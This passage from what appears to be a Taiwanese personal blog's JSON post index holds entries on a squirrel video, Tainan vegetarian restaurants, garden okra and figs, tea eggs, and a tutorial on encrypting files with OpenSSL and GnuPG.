積木工房：微型積木專賣店，物美價廉益智玩具（已停業）"},{"content":"今天第一次近距離拍攝到松鼠在叫的影片，它的叫聲聽起來很嘹亮，跟鳥類有點類似，放在這裡記錄一下。\n這是今天早上六點多，我準備上班時在路邊看到的松鼠，順手來起手機拍起來。\n剛開始他還沒有任何叫聲，不過當我準備走離開去開車上班時，突然聽到一種很奇怪的聲音，看了老半天才發現居然是松鼠在叫，趕緊拿起手機把它拍起來。\n影片中那個較低沉的聲音就是這隻松鼠的叫聲，用手機拍攝的畫面不是很清楚，因為我早上準備上班時，手上拿了很多東西，單眼又放在相機包裡，只好先拿口袋的手機應急。\n後來我看這隻松鼠好像一直叫個不停，我就趕緊把手上的東西放上車，拿出單眼相機回來拍，這隻松鼠後來又叫得更大聲了，而且聲音還變得更嘹亮，運氣很不錯剛好給我拍到很清楚的畫面。\n最後這段影片我是使用 Olympus E-PL6 接上 Olympus 12-40mm F2.8 Pro 這顆鏡頭來拍的，一開始很怕松鼠跑掉，手忙腳亂地拿了相機就開始拍，焦距沒有對的很好，接近尾聲時的畫面比較清晰，不過松鼠的叫聲都錄得很清楚。\n我最後原本想要切換到攝影的模式，拍攝幾張特寫照片，不過剛拍一兩張，松鼠就被快門的聲音嚇跑了。\n","permalink":"https://blog.gtwang.org/life/squirrel-sounds-20160920/","summary":"\u003cp\u003e今天第一次近距離拍攝到松鼠在叫的影片，它的叫聲聽起來很嘹亮，跟鳥類有點類似，放在這裡記錄一下。\u003c/p\u003e\n\u003cp\u003e這是今天早上六點多，我準備上班時在路邊看到的松鼠，順手來起手機拍起來。\u003c/p\u003e","title":"赤腹松鼠各種叫聲的影片，聲音嘹亮"},{"content":"天心岩蔬食是台南市頂級的素食吃到飽餐廳，不論是餐點料理、服務品質、用餐環境皆屬一流，是主編非常推薦的優質餐廳。\n我最近常在 facebook 上面看到天心岩的蔬食料理教學，感覺這家餐廳很用心在經營，這次趁著中秋假期慕名而來，在嘗過天心岩的料理之後，真的感覺不虛此行。\n天心岩蔬食是台南一家老字號的素食餐廳，具有豐富的料理經驗，除了食材與油品都非常講究之外，料理的技術更是精湛，他們的每一道餐點口味平和、沒有過重的調味，以清爽養生的風格，營造出令人驚豔的口感與味道，這樣既健康又美味的頂級料理，不管是小朋友或是年長的人都非常適合，所以主編在此特別推薦。\n店名：天心岩蔬食餐廳\n地址：臺南市南區萬年八街1號\n網站：官方網站、facebook 粉絲專頁\n本文的照片已經過時，天心岩蔬食目前的地址為臺南市南區萬年八街1號。\n天心岩蔬食的位置在台南市的中華西路上，深色的建築在路旁很好找。\n天心岩蔬食餐廳門口有幾個停車位，另外在餐廳的另一側也有一些停車格。\n這是天心岩蔬食的大門。\n進們之後看到的是餐廳的櫃台。\n大廳的空間很寬敞。\n餐廳室內的用餐環境很好，空間寬敞、光線明亮。\n平常來天心岩用餐的話，是採點餐式吃到飽的方式，只要吃的下想點多少都可以。我們來用餐這天剛好是中秋節隔天，今年中秋連假的用餐跟平常點餐的方式不同，這段期間天心岩推出中秋節精選料理，包含 21 道經典菜色，服務生會依照菜單的順序上菜，最後如果吃不夠的話，還可以加點。\n今天早上出門的時候我們就先用電話訂位了，餐廳預留了一個非常棒的座位，旁邊是一大扇窗戶，大晴天光線很好，而且太陽的角度也不會直曬進來，對於我們要攝影的人來說實在是非常適合。\n服務生的態度很親切，引領我們到座位之後，接著就上前五道菜。\n我感覺廚師會依照顧客的人數來調整每一道菜的份量，如果人比較多的話，份量就會比較多。在這裡用餐因為可以無限量加點，所以不用擔心份量太少，不夠的話再點就好了。\n菜單上的第一道料理是花生小豆腦，口感綿密，非常好吃。\n第二道菜，泰式青木瓜。天心岩有提供這道泰式青木瓜絲的料理教學。\n清脆富有嚼勁的青木瓜絲搭配搗碎的花生，是一道非常清爽開胃的小菜。\n第三道菜，沙拉鮮筍，清甜爽口的涼拌竹筍。\n第四道菜，五味若凍，Q 彈有嚼勁，很有特色的冷盤。\n第五道菜，蘿蔔糕，外表煎得金黃酥脆，沾上特製甜醬，口感絕佳。\n第六道菜，天心炒飯。菜單上是寫炒飯，不過我感覺它好像升級成油飯了。\n這道油飯吃起來不會油膩，淡淡的麻油香，加上翠綠色的蔬菜，色香味俱全，我們家阿玄很喜歡吃這一道。\n第七道菜，三杯猴頭杏鮑菇。這一道是比較高級的料理，整盤都是高成本的猴頭菇與杏鮑菇。\n第八道菜，綜合串燒，上面有紫菜糕、青椒、百葉豆腐、辣椒，配上微辣的醬汁，是一道中秋應景的素烤料理。\n第九道菜，三色玉米片，大人或小朋友都愛吃的一道點心。\n第十道菜，糖醋滋捲，外皮酥脆、內餡可口。天心岩有提供這道糖醋滋捲的料理教學。\n第十一道菜，南瓜海皇煲，香甜的南瓜濃湯，裡面有新鮮的蔬菜與香菇等，很營養的一道料理。\n第十二道菜，蓮子素蔓湯，這一道湯品是一人一碗的。\n裡面的料既豐富又實在，湯頭鮮甜。\n第十三道菜，塔塔薄餅，類似披薩的料理。作法可以參考墨西哥薄餅或南瓜堅果薄餅的料理教學。\n第十四道菜，香草蘆筍，清脆甘甜又多汁的蘆筍，配上紅椒點綴。\n第十五道菜，最佳拍檔（蓮子芋糕），小巧可愛的蒸籠裡面放著三塊用竹葉包起來的蓮子芋糕，竹葉以青黃兩色搭配，讓人感覺非常的漂亮。\n將竹葉打開之後，裡面是泛著竹葉香的蓮子芋糕，我個人很喜歡這一道料理。\n第十六道菜，黑胡椒脆柳。這一道料理非常特別，它只有小小一碟，我猜應該是某一種菇類炸過之後灑上一點黑胡椒，那個菇吃起來味道很特別、很 Q 很有嚼勁，吃完後令人回味無窮，是一道很有特色的料理！\n第十七道菜，泰式金三角，淋上特製醬汁。\n這是泰式金三角的內餡。\n第十八道菜，絲瓜百果，清炒絲瓜、百果、柳松菇、枸杞等，清甜爽口的夏季料理。\n第十九道菜，季節鮮果，夏天的水果是西瓜與哈蜜瓜。\n第二十道菜，手工奶酪，這一道是小朋友最喜歡的甜點。\n第二十一道菜，銀耳百合，既養生又美容的甜湯。\n這一道甜點也是一人一碗。紅色那個是紅棗。\n以上就是今年中秋節的精選料理，如果帶小朋友來用餐，餐廳還會特別為小朋友準備一些小朋友比較愛吃的料理。這一碗酥皮濃湯就是餐廳額外準備的。\n還有一份小朋友愛吃的薯條。\n這是餐廳今天提供的檸檬汁，在用餐的過程中，當檸檬汁喝完的時候，服務生都會主動詢問是否要再加。\n這是天心岩蔬食的名片。\n名片背面有簡單的交通資訊。\n用餐過後若對於餐廳有任何建議，都可以透過問卷表達。\n這是天心岩大廳擺放的善書。\n以下是許多我們家阿玄用餐的照片。\n阿玄剛開始很高興的在吃花生小豆腦。\n一開始他還懷疑好不好吃，吃了一口之後，就把整個都吃完了。\n接下來吃的是油飯。\n油飯也是阿玄很喜歡吃的一道料理。\n剛開始吃的時候用湯匙，後來自己拿筷子來用。\n這一道油飯阿玄還吃滿多的。\n接著他有興趣的是這一道南瓜海皇煲，服務生剛端上來它就很好奇這個是什麼。\n南瓜海皇煲阿玄也吃了一碗。\n這一道塔塔薄餅是阿玄最有興趣的，端上來之後他就很期待想吃，趁我還在拍照的時候，連我的份也都吃掉了。（還好這道菜已經先拍完了，之前有一次去別家餐廳，有一道菜我還沒來得及拍，就被他吃掉了）\n看起來就是很好吃。\n悠哉的吃著薄餅，很愜意的樣子。\n一邊吃一邊發呆，看樣子已經快要吃飽了。\n吃完薄餅之後，阿玄就幾乎吃不下了。他平常在家吃飯都要吃很久，不太喜歡吃飯、很挑嘴，來到這裡的狀況變成想吃但是吃不下。\n之後上來的最佳拍檔（蓮子芋糕）因為看起來很漂亮，所以阿玄很好奇想看看裡面是什麼。\n他不太會拆，拆了好久。\n阿玄自己拆開來了，很高興的樣子。\n因為阿玄已經吃不下了，所以他只負責拆，不負責吃。\n最後的奶酪是阿玄期待已久的甜點。\n他說他的肚子有預留空間來吃奶酪。\n吃飽飯心情很好的阿玄。\n後記 這次來天心岩蔬食用餐之後，拍攝了許多的照片，由於我們的運氣不錯，這天剛好颱風剛走、艷陽高照，在靠窗的座位拍照，我感覺都有真實呈現這些料理在現場的樣子，以我這個不太專業的攝影技術來說，能拍出這樣的照片應該是我的極限了。\n然而在這篇文章的文字內容撰寫上，就真的難倒我了，因為天心岩的料理口味平和，屬於清爽養生的風格，但是又不會讓人感覺沒有味道，反而讓人驚訝的是這樣看似平淡無奇的料理竟然可以做到那麼好吃，而且不是普通的好吃，我實在找不到什麼形容詞來描述這些料理，我只能說：「真的很好吃！」，至於有多好吃，只能請大家親自去品嚐了。 🙂\n","permalink":"https://blog.gtwang.org/life/tsyvegan-vegetarian-restaurant-tainan-20160916/","summary":"\u003cp\u003e天心岩蔬食是台南市頂級的素食吃到飽餐廳，不論是餐點料理、服務品質、用餐環境皆屬一流，是主編非常推薦的優質餐廳。\u003c/p\u003e\n\u003cp\u003e我最近常在 \u003ca href=\"https://www.facebook.com/tsyvegan/\"\u003efacebook\u003c/a\u003e 上面看到天心岩的蔬食料理教學，感覺這家餐廳很用心在經營，這次趁著中秋假期慕名而來，在嘗過天心岩的料理之後，真的感覺不虛此行。\u003c/p\u003e","title":"[台南素食吃到飽] 天心岩蔬食：頂級高 CP 值餐廳，中秋節精選料理特輯"},{"content":"最近家裡的秋葵開花結果，順便拍幾張照片紀錄一下。\n平常吃的秋葵就是這樣長出來的。\n通常秋葵要趁它尚未老掉之前採收，若要留種子的才會讓它留在植株上。\n這是秋葵開的花，淡黃色的花在陽光下很漂亮。\n這是整株的秋葵。\n秋葵長起來比人還要高。\n這是將成熟的秋葵曬成乾的樣子，裡面有秋葵的種子，留做種用的。\n","permalink":"https://blog.gtwang.org/agriculture/okra-20160911/","summary":"\u003cp\u003e最近家裡的秋葵開花結果，順便拍幾張照片紀錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"秋葵\" loading=\"lazy\" src=\"/agriculture/okra-20160911/okra-20160911-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e平常吃的秋葵就是這樣長出來的。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"秋葵\" loading=\"lazy\" src=\"/agriculture/okra-20160911/okra-20160911-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e通常秋葵要趁它尚未老掉之前採收，若要留種子的才會讓它留在植株上。\u003c/p\u003e","title":"[台南西港] 秋葵開花與結果"},{"content":"這是家門前自己種的一棵無花果樹，最近結了許多果實，成熟的無花果還引來一些昆蟲來吃。\n最近家門前的一棵自己種的無花果樹結了許多果實，我就順便拍一些照片紀錄一下。\n這一棵無花果樹沒有很大棵，不過最近卻結了很多無花果。接近成熟的無花果要套上袋子，這樣才不會被鳥或其他昆蟲吃掉。\n所謂的無花果就是不會開花，直接從樹枝上就長出來的果實，這些綠色的是尚未成熟的無花果。\n這是無花果樹的葉子。\n這一棵無花果樹看起來沒有很茂密，但是卻結了好幾十顆果實。\n成熟的無花果顏色會變成紅色的。\n這是剛摘下來的成熟無花果。\n成熟的無花果如果忘了套上袋子，野鳥或一些昆蟲都會來吃。\n這一顆成熟的無花果就是被吃到只剩下一點點。\n今天剛好給我拍到它們在吃無花果的樣子。\n","permalink":"https://blog.gtwang.org/agriculture/my-fig-tree-in-xigang-2016/","summary":"\u003cp\u003e這是家門前自己種的一棵無花果樹，最近結了許多果實，成熟的無花果還引來一些昆蟲來吃。\u003c/p\u003e\n\u003cp\u003e最近家門前的一棵自己種的無花果樹結了許多果實，我就順便拍一些照片紀錄一下。\u003c/p\u003e","title":"[台南西港] 無花果樹結果，成熟的無花果果實引來許多昆蟲"},{"content":"菇 MORNING 是台南佳里的一家素食早午餐，餐點種類豐富，有漢堡、總匯、布榖堡、可頌、三明治等，還有鍋燒意麵喔。\n這禮拜我們去佳里的麗嬰房買阿玄的衣服，早上順便來延平路上的這家「菇 MORNING」蔬食早午餐吃早餐。\n這家「菇 MORNING」蔬食早午餐在延平路上，剛好就在所長茶葉蛋附近。\n這是「菇 MORNING」蔬食早午餐的店面。\n這裡的餐點種類很豐富，以輕食為主，有漢堡、總匯、布榖堡、可頌、三明治等，中午想吃一般的餐點的話，也有鍋燒意麵、炒飯、蛋包飯、鐵板麵、炒意麵、麻醬麵與水餃等。\n這是店內的座位。\n這是招牌總匯套餐，套餐跟一般的餐點來比較的話，只多了 15 元，但是多了一杯飲料與一小盤薯條，很划算。套餐的飲料是紅茶，也可以補差價之後更換其他的飲料，我這裡是把它的紅茶換成豆漿。\n這是招牌總匯。\n這是招牌布榖堡套餐，這裡也是把紅茶換成豆漿。\n招牌布榖堡。\n這是素食火腿蛋餅，醬料可以自己加。\n蛋餅裡面夾的是素食火腿。\n這是五穀飲與豆漿。\n阿玄很喜歡吃這裡的招牌總匯。\n阿玄吃完兩塊總匯三明治之後，又再吃薯條，還喝完一杯豆漿。一邊吃一邊看老闆做早餐。\n後來中餐我們也是來這裡吃，我中午點了一個招牌帕瑪森，帕瑪森的麵包是有加起司的，感覺還不錯。\n這是台南有名的鍋燒意麵，還滿大一碗的。\n這是招牌可頌。\n中午阿玄還是愛吃薯條，老闆把兩份套餐的薯條裝成一盤，阿玄全部吃光光。\n店名：菇 MORNING 蔬食餐飲連鎖 佳里店\n地址：台南市佳里區延平路 166 號\n電話：(06) 721-5337\n營業時間：05：30 ～ 15：00\n網站：facebook 粉絲專頁\n","permalink":"https://blog.gtwang.org/life/good-morning-vegetarian-breakfast-jiali-tainan-20160911/","summary":"\u003cp\u003e菇 MORNING 是台南佳里的一家素食早午餐，餐點種類豐富，有漢堡、總匯、布榖堡、可頌、三明治等，還有鍋燒意麵喔。\u003c/p\u003e\n\u003cp\u003e這禮拜我們去佳里的麗嬰房買阿玄的衣服，早上順便來延平路上的這家「菇 MORNING」蔬食早午餐吃早餐。\u003c/p\u003e","title":"[台南佳里素食] 菇 MORNING 蔬食早午餐：漢堡、總匯、布榖堡、可頌、鍋燒意麵"},{"content":"這裡介紹如何在 Mac OS X 或 Linux 中使用 OpenSSL 或 GnuPG 加密檔案與目錄，保護機敏性資料。\n在 Mac OS X 或 Linux 系統上，若想要對特定的檔案或目錄加密，保護機密性或敏感性的資料避免外洩，最常用的方式就是 OpenSSL 或 GnuPG 這兩個工具，以下是這兩個工具的用法教學與範例。\n使用 OpenSSL 加密 加密單一檔案 假設我們有一個檔案 test.cpp，若要使用 AES256 加密演算法對其加密，可以使用：\nopenssl enc -e -aes256 -in test.cpp -out test.cpp.enc openssl 這個指令的功能相當多，這裡我們只會使用到加解密相關的功能，以下是參數的說明：\nenc：以指定的 cipher 進行資料的編碼，不管加密或解密都是使用這一個指令（command）。 -e：進行加密動作。 -aes256：指定 AES256 這一個 cipher。 -in：指定輸入的檔案。 -out：指定輸出的檔案。 執行之後，會要求使用者輸入密碼，最後就會產生 test.cpp.enc 這個加密的檔案，如果把它用 cat 輸出，就會出現一堆亂碼：\n加密過的檔案若沒有使用原密碼解密，就會完全無法閱讀，這樣就達到保護檔案的作用。這種加密方式適用於任何的檔案類型，包含文字檔、照片、影片等，只要將輸入與輸出的檔名替換即可。\n解密單一檔案 單一檔案的解密方式與加密相當類似，只是將參數中的 -e 改為 -d，並指定一下輸入與輸出檔案而已：\nopenssl enc -d -aes256 -in test.cpp.enc -out test.cpp 這樣就可以將 test.cpp.enc 這個加密的檔案解密後，輸出至 test.cpp 中。\n加密與解密目錄 若要對整個目錄進行加密，可以將目錄用 tar 壓縮之後，再進行加密：\ntar czf - my_folder | openssl enc -e -aes256 -out secured.tgz.enc 這樣就會將 my_folder 整個目錄以 gzip 壓縮之後再加密，儲存成一個 secured.tgz.enc 加密檔。若要解密的話，則執行：\nopenssl enc -d -aes256 -in secured.tgz.enc | tar xz 加密與解密多個檔案 如果把目前路徑下所有的檔案與目錄一次加密起來，可以使用：\ntar czf - * | openssl enc -e -aes256 -out secured.tgz.enc 若要解密的話，可以使用：\nmkdir output_folder openssl enc -d -aes256 -in secured.tgz.enc | tar xz -C output_folder 這裡我們建立一個新的 output_folder 目錄來放置所有的檔案，這樣可以避免解開的檔案與目前路徑中的檔案混在一起。\n非對稱式加密 非對稱式加密又稱為公開金鑰加密，加密之前必須產生一組私鑰與公鑰，使用公鑰對資料進行加密，加密之後的資料只有擁有私鑰的人才能解密。\n首先產生一支私鑰：\nopenssl genrsa -out private_key.pem 1024 Generating RSA private key, 1024 bit long modulus ...............++++++ ............++++++ e is 65537 (0x10001) 這裡我們將私鑰儲存於 private_key.pem 這個檔案中，接著以這支私鑰產生對應的公鑰：\nopenssl rsa -in private_key.pem -out public_key.pem -outform PEM -pubout writing RSA key 產生的公鑰儲存於 public_key.pem。\n若要使用公鑰進行加密，則執行：\nopenssl rsautl -encrypt -inkey public_key.pem -pubin -in test.txt -out test.txt.enc 解密則執行：\nopenssl rsautl -decrypt -inkey private_key.pem -in test.txt.enc -out test.txt 由於這種公開金鑰加密的方式無法對任意大小的檔案加密，所以如果檔案稍微大一點，可能就會出現這樣的錯誤：\nRSA operation error 140735276269648:error:0406D06E:rsa routines:RSA_padding_add_PKCS1_type_2:data too large for key size:rsa_pk1.c:151: 遇到大檔案的狀況可以產生一個亂數密碼，將資料以這組密碼進行對稱式加密，然後再將密碼使用非對稱式加密的方式加密。首先產生亂數密碼：\nopenssl rand -base64 64 \u0026gt; key.bin 使用亂數密碼配合對稱式加密演算法將資料加密：\nopenssl enc -aes-256-cbc -salt -in test.txt -out test.txt.enc -pass file:key.bin 再將這組亂數密碼以非對稱式的方式加密：\nopenssl rsautl -encrypt -inkey public_key.pem -pubin -in key.bin -out key.bin.enc 解密時首先使用私鑰將亂數密碼解密：\nopenssl rsautl -decrypt -inkey private_key.pem -in key.bin.enc -out key.bin 接著再用這組亂數密碼解密資料：\nopenssl enc -d -aes-256-cbc -in test.txt.enc -out test.txt -pass file:key.bin 其他關於使用 OpenSSL 加密檔案的做法，可以參考 stackoverflow 上面的討論。\n使用 GnuPG 加密 GnuPG 是 GNU Private Guard 的簡寫，它是一個用來加密與解密的指令工具，支援對稱式與非對稱式加密，是 PGP 加密軟體的一個免費替代方案。\n加密與解密單一檔案 GnuPG 的對稱式加密用法很簡單，只要執行 gpg 加上 -c 指令即可：\ngpg -c test.cpp 加密時一樣要輸入兩次密碼：\n經過 GnuPG 加密的檔案，預設會儲存成一個 .gpg 檔案。若要進行解密，就執行：\ngpg -o output.cpp test.cpp.gpg 這裡我們以 -o 參數指定輸出的檔案名稱，若不指定輸出檔名，則預設會使用原來的檔名（即 test.cpp）。\n加密與解密目錄、多個檔案 GnuPG 一樣可配合 tar 對整個目錄加密：\ntar czf - my_folder | gpg -c -o secured.tgz.gpg 解密則執行：\ngpg -o - secured.tgz.gpg | tar xz 多檔案的狀況也是使用類似的方法：\ntar -czf - * | gpg -c -o secured.tgz.gpg 將多個檔案解密至 output_folder：\nmkdir output_folder gpg -o - secured.tgz.gpg | tar xz -C output_folder 非對稱式加密 建立加解密用的金鑰：\ngpg --gen-key 執行之後，要選擇金鑰的類型：\ngpg (GnuPG/MacGPG2) 2.0.30; Copyright (C) 2015 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Please select what kind of key you want: (1) RSA and RSA (default) (2) DSA and Elgamal (3) DSA (sign only) (4) RSA (sign only) Your selection? 這裡選擇第一個預設的 RSA and RSA 即可，接著要選擇金鑰長度，長度越長越安全，通常使用預設值 2048 即可：\nRSA keys may be between 1024 and 4096 bits long. What keysize do you want? (2048) 設定金鑰的使用期限：\nPlease specify how long the key should be valid. 0 = key does not expire \u0026lt;n\u0026gt; = key expires in n days \u0026lt;n\u0026gt;w = key expires in n weeks \u0026lt;n\u0026gt;m = key expires in n months \u0026lt;n\u0026gt;y = key expires in n years Key is valid for? (0) 如果設定為 0 則代表金鑰沒有使用期限，可以永久使用。\n確認資訊正確之後，輸入姓名與 Email 信箱：\nIs this correct? (y/N) y GnuPG needs to construct a user ID to identify your key. Real name: G.T.Wang Email address: guozhao.wang@gmail.com Comment: You selected this USER-ID: \"G.T.Wang \u0026lt;guozhao.wang@gmail.com\u0026gt;\" Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? 確認無誤之後，應該還會要求使用者設定金鑰的密碼（要輸入兩次），接著就會開始產生金鑰，在金鑰的產生過程中，系統會需一些亂數的資訊來源，如果發現它在這裡很久，就隨便動動滑鼠、用鍵盤打一些字，或是做一些開檔存檔等動作，可以讓產生金鑰的過程加快一些。\nWe need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. gpg: key F1165B09 marked as ultimately trusted public and secret key created and signed. gpg: checking the trustdb gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model gpg: depth: 0 valid: 2 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 2u gpg: next trustdb check due at 2018-08-19 pub 2048R/F1165B09 2016-09-13 Key fingerprint = 9A78 21DD C3B3 E193 850A 16F9 7E44 AD5F F116 5B09 uid [ultimate] G.T.Wang \u0026lt;guozhao.wang@gmail.com\u0026gt; sub 2048R/2A9C22A3 2016-09-13 金鑰建立好之後，可將公鑰匯出，並將公鑰散佈出去，讓所有需要加密傳送檔案給你的人使用：\ngpg --armor --output pubkey.txt --export \u0026#39;G.T.Wang\u0026#39; 另外也建議同時將私鑰匯出，備份在安全的地方，以防萬一：\ngpg --armor --output privkey.txt --export-secret-keys \u0026#39;G.T.Wang\u0026#39; 加密資料時只需要使用公鑰，通常如果是要傳送加密資料給別人的時候，要先取得對方的公鑰，將公鑰匯入 GnuPG 之後，使用對方的公鑰來對資料進行加密。匯入金鑰的方式為：\ngpg --import pubkey.txt 有了對方的公鑰之後，就可以把資料加密後再傳給對方解密。\nGnuPG 加密資料的方式跟 OpenSSL 類似，其使用 hybrid ciphers 的方式，以一組隨機產生的 session key 加密資料，再將這個 session key 透過非對稱式加密後，再連同加密的資料一起傳送給對方，詳細的說明請參考 GnuPG 的說明文件。\n這裡我只示範自己寄給自己的情況：\ngpg --encrypt --recipient \u0026#39;G.T.Wang\u0026#39; test.txt 這裡的 --recipient 是指定收件人，也就是要用誰的公要來加密的意思，加密過後的檔案就只有擁有該私鑰的人可以解密。\n如果在 GnuPG 中有對應的私鑰，就可以使用這個指令進行解密：\ngpg --output test.txt --decrypt test.txt.gpg 若要列出目前 GnuPG 系統中含有的公鑰列表，可以使用：\ngpg --list-keys /Users/seal/.gnupg/pubring.gpg ------------------------------ pub 2048D/00D026C4 2010-08-19 [expires: 2018-08-19] uid [ultimate] GPGTools Team \u0026lt;team@gpgtools.org\u0026gt; uid [ultimate] GPGMail Project Team (Official OpenPGP Key) \u0026lt;gpgmail-devel@lists.gpgmail.org\u0026gt; uid [ultimate] GPGTools Project Team (Official OpenPGP Key) \u0026lt;gpgtools-org@lists.gpgtools.org\u0026gt; uid [ultimate] [jpeg image of size 5871] sub 2048g/DBCBE671 2010-08-19 [expires: 2018-08-19] sub 4096R/0D9E43F5 2014-04-08 [expires: 2024-01-02] pub 8192R/347DC10D 2013-06-29 uid [ unknown] Warren Togami (2013) \u0026lt;wtogami@gmail.com\u0026gt; sub 8192R/668709D4 2013-06-29 pub 2048R/F1165B09 2016-09-13 uid [ultimate] G.T.Wang \u0026lt;guozhao.wang@gmail.com\u0026gt; sub 2048R/2A9C22A3 2016-09-13 若要列出私鑰列表，則使用：\ngpg --list-secret-keys /Users/seal/.gnupg/secring.gpg ------------------------------ sec 2048R/F1165B09 2016-09-13 uid G.T.Wang \u0026lt;guozhao.wang@gmail.com\u0026gt; ssb 2048R/2A9C22A3 2016-09-13 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/how-to-encrypt-data-in-linux-using-gpg-and-open-ssl/","summary":"\u003cp\u003e這裡介紹如何在 Mac OS X 或 Linux 中使用 OpenSSL 或 GnuPG 加密檔案與目錄，保護機敏性資料。\u003c/p\u003e\n\u003cp\u003e在 Mac OS X 或 Linux 系統上，若想要對特定的檔案或目錄加密，保護機密性或敏感性的資料避免外洩，最常用的方式就是 OpenSSL 或 GnuPG 這兩個工具，以下是這兩個工具的用法教學與範例。\u003c/p\u003e","title":"使用 OpenSSL 或 GnuPG 加密檔案與目錄，用密碼上鎖保護機密資料"},{"content":"所長茶葉蛋是台南的一項有名的小吃，獨特香味的茶葉蛋讓許多人慕名而來，原味與辣味都很好吃喔。\n所長茶葉蛋的「所長」指的是台南新化警分局知義派出所所長廖世華，他在 2000 年 7 月到任時感覺派出所地處偏僻，同仁吃早餐不方便，所以就在派出所準備了茶葉蛋提供同仁隨時補充體力，後來也用這些茶葉蛋招待洽公的民眾與其他分局的警員，嘗過的人讚不絕口，十幾年來送出四十多萬顆「所長茶葉蛋」與民眾分享，現在所長茶葉蛋已經成為台南的一項名產之一。\n我們這禮拜去佳里的麗嬰房買阿玄的衣服，而所長茶葉蛋剛好在佳里就有一家門市，就順道去吃吃看。\n店名：所長茶葉蛋 台南佳里門市\n地址：台南市佳里區延平路 180 號\n網站：官方網站\n佳里這家所長茶葉蛋門市就在延平路與博愛街的交叉口，招牌很大、非常好找。\n門口有一個又大又可愛的卡通所長立牌。\n店內的佈置讓人感覺很溫馨。\n在櫃台前面這一鍋就是有名的所長茶葉蛋。\n打開鍋蓋後，就可以聞到一股特別的香味，這一鍋是原味茶葉蛋，適合完全不敢吃辣的人。\n這裡的茶葉蛋在購買時沒有限制一次要買多少，若是自己吃的話買個一顆、兩顆也可以。\n另外一鍋是辣味的茶葉蛋，這一鍋是這裡最有特色的招牌，第一次來的話，一定要買這個。\n打開鍋蓋後，看起來就是很好吃，色香味俱全。\n這個辣味的茶葉蛋並不會很辣，平常不太吃辣的人通常也可以接受，除非您完全不吃辣，否則來這裡一定要品嚐一下這個辣味的所長茶葉蛋。\n我這次買了六顆茶葉蛋，原味與辣味各三顆。\n今天早上我來所長茶葉蛋消費的時候，店員告訴我說我是今天第一位客人，他們會將第一位客人的消費全數捐出做公益，並讓我親自將款項投入這個存錢筒。\n茶葉蛋在包裝時，塑膠袋會用封口機密封起來，所以湯汁不會流出來，攜帶很方便。\n這一顆是原味的茶葉蛋，蛋殼還滿好剝的。\n原味茶葉蛋一口咬下去的樣子。\n這一包是辣味的茶葉蛋。\n蛋殼一樣很好剝。\n原味與辣味的茶葉蛋都很香，非常入味，不過我覺得微辣的辣味茶葉蛋更好吃。\n所長茶葉蛋除了零買之外，也有賣伴手禮盒，過年過節送禮或是拜拜都很方便，最右邊的那個所長茶葉蛋巴洛克禮盒可以讓顧客自己選擇要裝什麼內容。\n這些是所長茶葉蛋豆乾類的伴手禮盒。\n在櫃台這邊有展示許多所長茶葉蛋的附加產品。\n這是一整包的原味所長茶葉蛋。\n這是一整包的辣味所長茶葉蛋。\n還有所長鐵滷蛋。\n這是所長茶葉蛋素肉條（全素），泡茶聊天時配這個應該不錯。\n這是所長茶葉蛋的蒟蒻（全素）。\n這罐所長 XO 醬（全素）也是店員推薦的特色產品。\n這是所長茶葉蛋賣的海燕窩與 QQ 海亞籽。\n所長茶葉蛋店內有一面很大的留言板，來這裡逛逛時，可以在這裡留言喔。\n關於所長茶葉蛋各種產品的介紹，請參考所長茶葉蛋的官方網站，網站上除了詳細的說明之外，還有標示素食的類別（全素、蛋素、五辛素），對於素食的人來說也很方便。\n店名：所長茶葉蛋 台南佳里門市\n地址：台南市佳里區延平路 180 號\n網站：官方網站\n","permalink":"https://blog.gtwang.org/life/chief-tea-eggs-jiali-tainan-20160911/","summary":"\u003cp\u003e所長茶葉蛋是台南的一項有名的小吃，獨特香味的茶葉蛋讓許多人慕名而來，原味與辣味都很好吃喔。\u003c/p\u003e\n\u003cp\u003e所長茶葉蛋的「所長」指的是台南新化警分局知義派出所所長廖世華，他在 2000 年 7 月到任時感覺派出所地處偏僻，同仁吃早餐不方便，所以就在派出所準備了茶葉蛋提供同仁隨時補充體力，後來也用這些茶葉蛋招待洽公的民眾與其他分局的警員，嘗過的人讚不絕口，十幾年來送出四十多萬顆「所長茶葉蛋」與民眾分享，現在所長茶葉蛋已經成為台南的一項名產之一。\u003c/p\u003e","title":"[台南美食] 所長茶葉蛋：色香味俱全台南名產、特色小吃（佳里門市）"},{"content":"藝素燴館是新營的一家素食餐館，這裡除了有各式飯、麵等餐點之外，還有素食蚵仔煎等小菜與點心，亦有提供合菜、團膳與便當。\n藝素燴館每週六、日都有營業，如果假日沒有地方吃素食的人，可以考慮來這裡用餐。\n藝素燴館目前已經搬遷至臺南市新營區太子路12號，本文的照片是舊地址的照片。\n店名：藝素燴館\n地址：臺南市新營區太子路12號\n網站：facebook 